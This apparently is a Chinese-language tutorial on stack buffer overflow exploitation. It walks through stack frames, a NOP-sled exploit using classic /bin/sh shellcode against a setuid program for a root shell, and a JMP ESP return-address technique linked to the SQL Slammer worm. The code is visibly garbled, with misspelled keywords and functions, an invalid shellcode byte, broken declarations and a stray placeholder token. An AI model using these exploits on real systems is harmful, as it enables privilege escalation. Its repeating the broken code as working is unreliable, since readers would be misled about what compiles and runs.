|
溢出是网络安全中经常接触到的一个问题,一旦出现某种溢出漏洞,网络上成千上万的电脑都将成为Hacker兄弟姐妹们砧板上的肉了。那么溢出到底是什么?这种攻击方式需要怎么利用和防范?慢慢往下看就知道了。
溢出就是程序对用户提交的数据不作任何检查或者检查不完全而导致的程序/内存错误,在学习它之前读者朋友们一定要理解虚拟内存的概念,这里我对这些东西不作介绍了,想知道的朋友可以去看看其他的书籍。
我们先来看看堆栈溢出是怎么样的,看看下面的程序:
void lizi(int a ,int b)
{
char buffer[5];
char buffer1[15];
}
viod main()
{
lizi(1,2)
}
上面这段C程序在汇编中显示如下:
<main>
pushl $1
pushl $2
call lizi
<lizi>
pushl %ebp
movl %esp,%ebp
subl $20,%esp
我们通过这两个程序比较可以发现,当调用LIZI函数的时候,首先使两个参数入栈,其次是当前指令的下一条指令入栈(ret地址)马上当前的参底也入栈(EBP),然后又给BUFFER和BUFFER1分配了20字节的空间,那么函数调用返回的时候又发生了什么事情呢?首先是恢复EBP底内容,然后把RET弹出到EIP里面,这样程序就会去执行EIP指向的地址。说完了函数调用的情况,我们再看看这段程序:
void lizi(char *buffer)
{
char buf[8];
sprintf(buf,“%s”,buffer)
}
viod main()
{
char buffer[999];
int i;
for(i=0;i<998;i++)
buffer[1]=’a’;
lizi(buffer)
}
运行它之后会出现异常,为什么会这样呢?因为buffer中间有998个a,而buf只能容纳8个字节,这时自然就会覆盖我们的ret地址和其它的内存了。如果我们写个Shellcode,然后用一个指向Shellcode的值覆盖RET地址,程序自然就会去执行我们的Shellcode了,可是我们怎么能构造我们Shellcode的地址呢?幸好老一辈的前辈们发明了NOP的方法,这里我给大家一个程序演示:
Void lizi (char *buf)
{
char sr[12];
trcpy(sr,buf);
}
void main ()
{
char shellcode[]=“\\xeb\\xif\\x5e\\x89\\x76\\x88\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b”
“\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd”
“\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh”
int 1;
char buf[20000] , unsigned ret=0x00010000;
meset(buf.,0x90,sizef(buf));/*0x90就是NOPS*/
memcpy(buf+14,ret,4);
memcpy(buf+1900,shellcode,stelen(shellcode);
lizi(buf);
}
给程序加上SETUID位,退出ROOT然后用普通用户运行,看到没有?bash#出来了!
后来又有一些高手想出了新的方法:用一个指向CALL ESP 或者JMP ESP的地址来覆盖RET,这样我们用Shellcode覆盖ESP就OK了——SQL儒虫王大家还记得吧?它就是运用了这种手法,用0x42b0c9dc覆盖RET,而它又正好指向JMP ESP。写个程序给他家看看:
void lizi(char *str)
buffer[14]
strcpy(buffer,str)
}
ovid main()
{
char str99];
unsigned ret
int i;
_asm
{
pop $Content$4
call esp
pop ebx
}
char shellcode[]=“\\xeb\\xif\\x5e\\x89\\x76\\x88\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b”
“\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd”
“\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh”;
for(i=0;1<16;i++)
str=0x90;
sprintf(ret,”返回地址是%X“,ebx);
memcpy(str+16,ret,4);
memcpy(str+20,shellcode,strlen(shellcode);
lizi(str)
} |
|